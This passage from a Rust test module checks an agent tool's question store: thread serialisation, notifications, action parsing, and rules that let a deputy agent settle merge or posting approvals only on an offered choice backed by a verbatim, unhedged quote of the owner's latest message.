2860 "summary": "Which storage backend should the cache use?",
2861 "detail": "Both are already dependencies.",
2862 "choices": ["SQLite", "Redis"],
2863 "status": "open",
2864 "asked_at": "2026-09-02T23:15:01Z",
2865 "answered_at": null,
2866 "answer": null
2867}"#;
2868 std::fs::write(s.path_of(id), body).unwrap();
2869
2870 let q = s.get(id).unwrap();
2871 assert!(
2872 !q.panel,
2873 "an absent field means no panel, not a parse error"
2874 );
2875 assert!(q.assets.is_empty());
2876 assert_eq!(q.schema, 1);
2881 assert!(q.thread.is_empty());
2882 assert_eq!(
2883 q.answer_timeout, 0,
2884 "an absent field means unrecorded, not a zero-second deadline"
2885 );
2886 assert!(!q.waiting_on_agent());
2887 assert_eq!(q.summary, "Which storage backend should the cache use?");
2888 assert_eq!(
2889 s.list().len(),
2890 1,
2891 "and it is still listed; skipping it would hide an open question"
2892 );
2893 }
2894
2895 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2896 Turn {
2897 who,
2898 body: body.to_owned(),
2899 at,
2900 note: None,
2901 }
2902 }
2903
2904 #[test]
2905 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2906 let mut q = choice_question();
2909 q.thread
2910 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2911 let value = serde_json::to_value(&q.thread[0]).unwrap();
2912 let mut keys: Vec<&str> = value
2913 .as_object()
2914 .unwrap()
2915 .keys()
2916 .map(String::as_str)
2917 .collect();
2918 keys.sort_unstable();
2919 assert_eq!(keys, ["at", "body", "who"]);
2920 assert_eq!(value["who"], "operator");
2921 assert_eq!(value["body"], "why not Postgres?");
2922
2923 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2924 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2925 assert_eq!(parsed.who, Who::Agent);
2926 }
2927
2928 fn approval_question() -> Question {
2929 let mut q = Question::new(
2930 "run".into(),
2931 crate::land::APPROVAL_NODE.into(),
2932 "land".into(),
2933 "Merge?".into(),
2934 String::new(),
2935 vec!["merge".into(), "hold".into()],
2936 );
2937 let mut dep = Deputy::new("brief".into());
2938 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2939 q.deputy = Some(dep);
2940 q
2941 }
2942
2943 #[test]
2944 fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
2945 let mut q = approval_question();
2946 q.choices.push(crate::land::REPAIR.into());
2947 q.say("maybe fix findings and re-review").unwrap();
2948 assert!(
2949 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
2950 .is_err()
2951 );
2952 q.say(crate::land::REPAIR).unwrap();
2953 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
2954 .unwrap();
2955 assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
2956 assert_eq!(
2957 crate::land::approval(q.resolution().as_deref()),
2958 crate::land::Approval::Repair
2959 );
2960 }
2961
2962 #[test]
2963 fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
2964 let mut q = approval_question();
2965 q.say("merge").unwrap();
2966 q.reply("sure?", vec!["merge".into(), "hold".into()])
2967 .unwrap();
2968 q.say(" Merge it please ").unwrap();
2969 assert!(
2970 q.settle_by_deputy("deputy-x", "merge", " ", None)
2971 .is_err(),
2972 "an empty quote is refused"
2973 );
2974 assert!(
2975 q.settle_by_deputy("deputy-x", "merge", "ship it", None)
2976 .is_err(),
2977 "a quote the owner never said is refused"
2978 );
2979 assert_eq!(q.status, QuestionStatus::Open);
2980 q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
2981 .unwrap();
2982 assert_eq!(q.resolution().as_deref(), Some("merge"));
2983 }
2984
2985 #[test]
2986 fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
2987 use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
2988 let mk = || {
2989 let mut q = Question::new(
2990 "run".into(),
2991 crate::github_text::ASK_NODE.into(),
2992 crate::github_text::ASK_SEAT.into(),
2993 "s".into(),
2994 String::new(),
2995 vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
2996 );
2997 let mut dep = Deputy::new("brief".into());
2998 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2999 q.deputy = Some(dep);
3000 q
3001 };
3002 let mut hedged = mk();
3003 hedged.say("Post the original, maybe?").unwrap();
3004 assert!(
3005 hedged
3006 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3007 .is_err()
3008 );
3009 let mut clear = mk();
3010 clear.say("Post the original text as it is.").unwrap();
3011 clear
3012 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3013 .unwrap();
3014 assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3015 let mut japanese = mk();
3016 let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3017 japanese.say(words).unwrap();
3018 japanese
3019 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3020 .unwrap();
3021 let mut unrelated = mk();
3022 unrelated.say("Proceed with the task").unwrap();
3023 assert!(
3024 unrelated
3025 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3026 .is_err()
3027 );
3028 for words in [
3029 "OK, post the original",
3030 "Yes, post original",
3031 "I'd like to post the original",
3032 ] {
3033 let mut natural = mk();
3034 natural.say(words).unwrap();
3035 natural
3036 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3037 .unwrap();
3038 }
3039 for (message, quote) in [
3040 (
3041 "ログには「元の説明で投稿しました」と記録されています。",
3042 "ログには「元の説明で投稿しました」と記録されています。",
3043 ),
3044 (
3045 "ログには「元の説明で投稿してください」と記録されています。",
3046 "元の説明で投稿してください",
3047 ),
3048 ] {
3049 let mut descriptive = mk();
3050 descriptive.say(message).unwrap();
3051 assert!(
3052 descriptive
3053 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3054 .is_err()
3055 );
3056 assert!(descriptive.status.open());
3057 assert!(descriptive.answer.is_none());
3058 }
3059 let mut descriptive = mk();
3060 let message = "Post original was the option I saw.";
3061 descriptive.say(message).unwrap();
3062 for quote in [message, "Post original"] {
3063 assert!(
3064 descriptive
3065 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3066 .is_err()
3067 );
3068 assert!(descriptive.status.open());
3069 assert!(descriptive.answer.is_none());
3070 }
3071 let mut safe = mk();
3073 safe.say("use the fallback").unwrap();
3074 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3075 .unwrap();
3076 }
3077
3078 #[test]
3079 fn posting_deputy_rejects_multiline_quoted_context() {
3080 use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3081 for (command, choice) in [
3082 ("Post original", POST_ORIGINAL),
3083 ("Use rewrite", USE_REWRITE),
3084 ] {
3085 for message in [
3086 format!("The log contains:\n```\n{command}\n```"),
3087 format!("The log contains:\n\"\n{command}\n\""),
3088 format!("The log says: “Reported. {command}.”"),
3089 format!("The log says: “\n{command}\n”"),
3090 ]
3091 .into_iter()
3092 .chain(crate::github_text::reported_posting_messages(command))
3093 {
3094 let mut q = Question::new(
3095 "run".into(),
3096 ASK_NODE.into(),
3097 ASK_SEAT.into(),
3098 "s".into(),
3099 String::new(),
3100 vec![USE_FALLBACK.into(), choice.into()],
3101 );
3102 let mut dep = Deputy::new("brief".into());
3103 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3104 q.deputy = Some(dep);
3105 q.say(&message).unwrap();
3106 let tmp = tempfile::tempdir().unwrap();
3107 let questions = Questions::at(tmp.path().join("questions"));
3108 questions.put(&mut q).unwrap();
3109 for quote in [command, message.as_str()] {
3110 assert!(
3111 questions
3112 .update(&q.id, |stored| {
3113 stored.settle_by_deputy("deputy-x", choice, quote, None)
3114 })
3115 .is_err()
3116 );
3117 let after = questions.get(&q.id).unwrap();
3118 assert!(after.status.open());
3119 assert!(after.answer.is_none());
3120 }
3121 }
3122 }
3123 }
3124
3125 #[test]
3126 fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3127 use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3128 let mk = || {
3129 let mut q = Question::new(
3130 "run".into(),
3131 crate::github_text::ASK_NODE.into(),
3132 crate::github_text::ASK_SEAT.into(),
3133 "s".into(),
3134 String::new(),
3135 vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3136 );
3137 let mut dep = Deputy::new("brief".into());
3138 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3139 q.deputy = Some(dep);
3140 q
3141 };
3142 let mut hedged = mk();
3143 hedged.say("Use the rewrite, maybe?").unwrap();
3144 assert!(
3145 hedged
3146 .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3147 .is_err()
3148 );
3149 let mut descriptive = mk();
3150 let message = "Use rewrite was the option I saw.";
3151 descriptive.say(message).unwrap();
3152 for quote in [message, "Use rewrite"] {
3153 assert!(
3154 descriptive
3155 .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3156 .is_err()
3157 );
3158 assert!(descriptive.status.open());
3159 assert!(descriptive.answer.is_none());
3160 }
3161 for words in [
3162 "Use the rewrite text as it is.",
3163 "I'd like to use the rewrite",
3164 "修正版で投稿してください。",
3165 ] {
3166 let mut clear = mk();
3167 clear.say(words).unwrap();
3168 clear
3169 .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3170 .unwrap();
3171 assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3172 }
3173 let mut safe = mk();
3175 safe.say("use the fallback").unwrap();
3176 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3177 .unwrap();
3178 }
3179
3180 #[test]
3181 fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3182 let mk = |choices: Vec<String>| {
3183 let mut q = Question::new(
3184 String::new(),
3185 crate::bump::NOTICE_NODE.into(),
3186 "release-watch".into(),
3187 "Release?".into(),
3188 String::new(),
3189 choices,
3190 );
3191 let mut dep = Deputy::new("brief".into());
3192 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3193 q.deputy = Some(dep);
3194 q
3195 };
3196 let mut approval = mk(vec!["merge".into(), "hold".into()]);
3197 assert!(crate::deputy::merge_gated(&approval));
3198 approval.say("マージしていいよ").unwrap();
3199 assert!(
3200 approval
3201 .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3202 .is_err(),
3203 "a quote the owner never said is refused"
3204 );
3205 approval
3206 .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3207 .unwrap();
3208
3209 let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3210 assert!(!crate::deputy::merge_gated(&esc));
3211 esc.say("もう監視はいらない").unwrap();
3212 esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3213 .unwrap();
3214 assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3215 }
3216
3217 #[test]
3218 fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3219 let mut q = approval_question();
3220 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3221 .unwrap();
3222 assert!(
3223 q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3224 .is_err(),
3225 "the quote must be the owner's"
3226 );
3227 assert!(
3228 q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3229 .is_err(),
3230 "`hold` still needs the whole message"
3231 );
3232 q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3233 .unwrap();
3234 assert_eq!(q.resolution().as_deref(), Some("merge"));
3235 }
3236
3237 fn settle_ready() -> Question {
3238 let mut q = Question::new(
3239 "task".to_owned(),
3240 "conduct".to_owned(),
3241 "conduct".to_owned(),
3242 "Done?".to_owned(),
3243 String::new(),
3244 vec!["yes".to_owned(), "no".to_owned()],
3245 );
3246 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3247 seat.turns = 1;
3248 let mut dep = Deputy::new("brief".to_owned());
3249 dep.seat = Some(seat);
3250 q.deputy = Some(dep);
3251 q.say("setup done, and file a follow-up").unwrap();
3252 q
3253 }
3254
3255 #[test]
3256 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3257 let dir = tempfile::TempDir::new().unwrap();
3258 let store = Questions::at(dir.path().join("questions"));
3259 let mut q = settle_ready();
3260 let id = q.id.clone();
3261 store.put(&mut q).unwrap();
3262 store
3263 .update(&id, |q| {
3264 q.settle_by_deputy(
3265 "deputy-x",
3266 "yes",
3267 "setup done",
3268 Some(" no follow-up was queued "),
3269 )
3270 })
3271 .unwrap();
3272 let back = store.get(&id).unwrap();
3273 let turn = back.thread.last().unwrap();
3274 assert_eq!(turn.who, Who::Agent);
3275 assert!(turn.body.starts_with("Settled as `yes`"));
3276 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3277 assert_eq!(back.thread[0].note, None);
3278 }
3279
3280 #[test]
3281 fn an_empty_or_blank_settle_note_is_no_note() {
3282 for note in [None, Some(""), Some(" \n ")] {
3283 let mut q = settle_ready();
3284 q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3285 .unwrap();
3286 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3287 let json = serde_json::to_string(&q).unwrap();
3288 assert!(!json.contains("\"note\""), "no key when there is none");
3289 }
3290 }
3291
3292 #[test]
3293 fn a_refused_settle_leaves_no_note_behind() {
3294 let mut q = settle_ready();
3295 let before = q.thread.clone();
3296 assert!(
3297 q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3298 .is_err()
3299 );
3300 assert!(
3301 q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3302 .is_err()
3303 );
3304 assert_eq!(q.thread, before);
3305 assert_eq!(q.status, QuestionStatus::Open);
3306 }
3307
3308 #[test]
3309 fn a_turn_written_before_notes_existed_still_reads() {
3310 let t: Turn =
3311 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3312 .unwrap();
3313 assert_eq!(t.note, None);
3314 }
3315
3316 #[test]
3317 fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3318 let mut q = approval_question();
3319 q.say("merge").unwrap();
3320 q.reply("sure?", vec!["merge".into(), "hold".into()])
3321 .unwrap();
3322 q.say("wait, hold off").unwrap();
3323 assert!(
3324 q.settle_by_deputy("deputy-x", "merge", "merge", None)
3325 .is_err()
3326 );
3327 assert_eq!(q.status, QuestionStatus::Open);
3328 }
3329
3330 #[test]
3331 fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3332 let mut q = Question::new(
3333 "task".to_owned(),
3334 "conduct".to_owned(),
3335 "conduct".to_owned(),
3336 "Done?".to_owned(),
3337 String::new(),
3338 vec!["yes".to_owned(), "no".to_owned()],
3339 );
3340 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3341 seat.turns = 1;
3342 let mut dep = Deputy::new("brief".to_owned());
3343 dep.seat = Some(seat);
3344 q.deputy = Some(dep);
3345 q.say("setup done, go ahead").unwrap();
3346
3347 assert!(
3348 q.settle_by_deputy("someone-else", "yes", "setup done", None)
3349 .is_err()
3350 );
3351 assert!(
3352 q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3353 .is_err()
3354 );
3355 assert!(
3356 q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3357 .is_err()
3358 );
3359 assert!(q.settle_by_deputy("deputy-x", "yes", " ", None).is_err());
3360 assert_eq!(q.status, QuestionStatus::Open);
3361
3362 q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3363 .unwrap();
3364 assert_eq!(q.status, QuestionStatus::Answered);
3365 assert_eq!(q.resolution().as_deref(), Some("yes"));
3366 let last = q.thread.last().unwrap();
3367 assert_eq!(last.who, Who::Agent);
3368 assert!(
3369 last.body.contains("setup done"),
3370 "the quote stays on the record"
3371 );
3372 }
3373
3374 #[test]
3375 fn a_question_written_before_deputies_still_reads() {
3376 let mut q = Question::new(
3377 "task".to_owned(),
3378 "conduct".to_owned(),
3379 "conduct".to_owned(),
3380 "Done?".to_owned(),
3381 String::new(),
3382 Vec::new(),
3383 );
3384 q.schema = 4;
3385 let mut v = serde_json::to_value(&q).unwrap();
3386 v.as_object_mut().unwrap().remove("deputy");
3387 let back: Question = serde_json::from_value(v).unwrap();
3388 assert!(back.deputy.is_none());
3389 }
3390
3391 #[test]
3392 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3393 let mut q = choice_question();
3394 q.say("does the cache need eviction?").unwrap();
3395 assert_eq!(q.thread.len(), 1);
3396 assert_eq!(q.thread[0].who, Who::Operator);
3397 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3398 assert_eq!(q.status, QuestionStatus::Open);
3401 assert!(q.answer.is_none());
3402 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3403 }
3404
3405 #[test]
3406 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3407 let mut answered = choice_question();
3408 answered
3409 .answer(Answer::Choice("SQLite".to_owned()))
3410 .unwrap();
3411 let a = answered.say("still there?").unwrap_err().to_string();
3412 assert!(a.contains("already answered"), "{a}");
3413 let b = answered
3414 .reply("still there?", vec![])
3415 .unwrap_err()
3416 .to_string();
3417 assert!(b.contains("already answered"), "{b}");
3418
3419 let mut abandoned = choice_question();
3420 abandoned.abandon("timed out");
3421 let c = abandoned.say("hello?").unwrap_err().to_string();
3422 assert!(c.contains("abandoned"), "{c}");
3423
3424 let mut open = choice_question();
3425 let d = open.say(" ").unwrap_err().to_string();
3426 assert!(d.contains("empty"), "{d}");
3427 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3428 assert!(e.contains("empty"), "{e}");
3429 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3430 }
3431
3432 #[test]
3433 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3434 let mut q = choice_question();
3435 q.say("SQLite or Redis, but what about disk space?")
3436 .unwrap();
3437 assert!(q.waiting_on_agent());
3438
3439 q.reply(
3440 "SQLite: it is one file, no server to run.",
3441 vec!["SQLite".to_owned()],
3442 )
3443 .unwrap();
3444
3445 assert_eq!(q.choices, ["SQLite"]);
3446 assert!(
3447 !q.waiting_on_agent(),
3448 "the agent spoke, so the owner is the one being waited on now"
3449 );
3450 assert_eq!(q.thread.len(), 2);
3451 assert_eq!(q.thread[1].who, Who::Agent);
3452
3453 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3455 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3456 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3457 }
3458
3459 #[test]
3460 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3461 let mut fresh = choice_question();
3462 assert!(
3463 fresh.should_notify(Timestamp::now()),
3464 "nobody has been notified yet, so the first ask always pages"
3465 );
3466
3467 fresh.say("why not Postgres?").unwrap();
3468 let just_said = fresh.thread[0].at;
3469 assert!(
3470 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3471 "still on the screen a minute later; no need to page again"
3472 );
3473 assert!(
3474 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3475 "exactly the window: `>` means this side stays quiet"
3476 );
3477 assert!(
3478 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3479 "past the window: they may have walked away"
3480 );
3481 }
3482
3483 #[test]
3484 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3485 let (_dir, s) = store();
3486 let mut q = choice_question();
3487 s.put(&mut q).unwrap();
3488 q.say("why not Postgres?").unwrap();
3489 s.put(&mut q).unwrap();
3490 q.reply("no server to run", vec!["SQLite".to_owned()])
3491 .unwrap();
3492 s.put(&mut q).unwrap();
3493
3494 assert_eq!(
3495 s.count_open(),
3496 1,
3497 "one question that talked twice is still one open question"
3498 );
3499 assert_eq!(s.open_for(&q.run).len(), 1);
3500 }
3501
3502 #[tokio::test]
3503 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3504 let (dir, s) = store();
3505 let mut q = choice_question();
3506 let id = q.id.clone();
3507 let writer = Questions::at(dir.path().join("questions"));
3508 let handle = tokio::spawn(async move {
3509 tokio::time::sleep(Duration::from_millis(30)).await;
3510 let mut fresh = writer.get(&id).expect("the question was filed first");
3511 fresh.say("why not Postgres?").unwrap();
3512 writer.put(&mut fresh).unwrap();
3513 });
3514
3515 let got = wait_for_owner(
3516 &mut q,
3517 &s,
3518 &quiet(),
3519 Duration::from_secs(5),
3520 Duration::from_millis(10),
3521 )
3522 .await
3523 .unwrap();
3524
3525 handle.await.unwrap();
3526 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3527 assert_eq!(
3528 q.status,
3529 QuestionStatus::Open,
3530 "talking back is not a decision; the question stays open"
3531 );
3532 assert!(q.answer.is_none());
3533 }
3534
3535 #[test]
3536 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3537 let mut q = choice_question();
3538 q.say("A").unwrap();
3539 q.delivered_turns = q.thread.len();
3540 q.say("B").unwrap();
3541 q.reply("about A", vec![]).unwrap();
3542 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3543 q.delivered_turns = q.thread.len();
3544 assert_eq!(q.unread_from_owner(), None);
3545 }
3546
3547 #[test]
3548 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3549 let (_d, s) = store();
3550 let mut q = choice_question();
3551 s.put(&mut q).unwrap();
3552 q.say("first").unwrap();
3553 q.say("second").unwrap();
3554 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3555 s.put(&mut q).unwrap();
3556 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3557 let mut out = Vec::new();
3558 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3559 let shown = String::from_utf8(out).unwrap();
3560 let (a, b, c) = (
3561 shown.find("first").unwrap(),
3562 shown.find("second").unwrap(),
3563 shown.find("SQLite").unwrap(),
3564 );
3565 assert!(a < b && b < c, "{shown}");
3566 assert_eq!(q.delivered_turns, q.thread.len());
3567 assert!(q.answer_delivered);
3568 }
3569
3570 #[test]
3571 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3572 let mut q = choice_question();
3573 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3574 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3575 let mut q = choice_question();
3576 q.say("old").unwrap();
3577 q.delivered_turns = q.thread.len();
3578 q.say("new").unwrap();
3579 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3580 let shown = answer_for_agent(&q, "SQLite");
3581 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3582 }
3583
3584 #[test]
3585 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3586 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3587 let ok = parse_actions(
3588 &[
3589 "resume で続行する=resume".to_owned(),
3590 "wait=done".to_owned(),
3591 ],
3592 &choices,
3593 "run-1",
3594 )
3595 .unwrap();
3596 assert_eq!(
3597 ok["resume で続行する"],
3598 ChoiceAction::Resume {
3599 run: "run-1".into()
3600 }
3601 );
3602 assert_eq!(ok["wait"], ChoiceAction::Done);
3603
3604 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3605 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3606 assert_eq!(
3607 ChoiceAction::parse("x=requeue", "").unwrap().1,
3608 ChoiceAction::Requeue
3609 );
3610
3611 for bad in [
3612 "no-equals",
3613 "=done",
3614 "x=resume",
3615 "x=resume:",
3616 "x=explode",
3617 "x=done:1",
3618 ] {
3619 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3620 }
3621 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3622 assert!(
3623 parse_actions(
3624 &["wait=done".to_owned(), "wait=requeue".to_owned()],
3625 &choices,
3626 ""
3627 )
3628 .is_err()
3629 );
3630 }
3631
3632 #[test]
3633 fn only_a_chosen_label_with_an_action_is_actionable() {
3634 let mut q = choice_question();
3635 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3636 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3637 assert!(q.chosen_action().is_none(), "unanswered");
3638 q.answer(Answer::Choice("resume".to_owned())).unwrap();
3639 assert!(
3640 q.chosen_action().is_none(),
3641 "a label that merely reads like an action does nothing"
3642 );
3643
3644 let mut q2 = choice_question();
3645 q2.choices = vec!["SQLite".to_owned()];
3646 q2.actions
3647 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3648 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3649 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3650 }
3651
3652 #[test]
3653 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3654 let mut q = choice_question();
3655 q.choices = vec!["A".to_owned(), "B".to_owned()];
3656 q.actions.insert("A".to_owned(), ChoiceAction::Done);
3657 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3658 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3659 assert_eq!(q.actions.len(), 1);
3660 assert!(q.actions.contains_key("B"));
3661
3662 let mut v = serde_json::to_value(&q).unwrap();
3663 v.as_object_mut().unwrap().remove("actions");
3664 let old: Question = serde_json::from_value(v).unwrap();
3665 assert!(old.actions.is_empty());
3666 }
3667}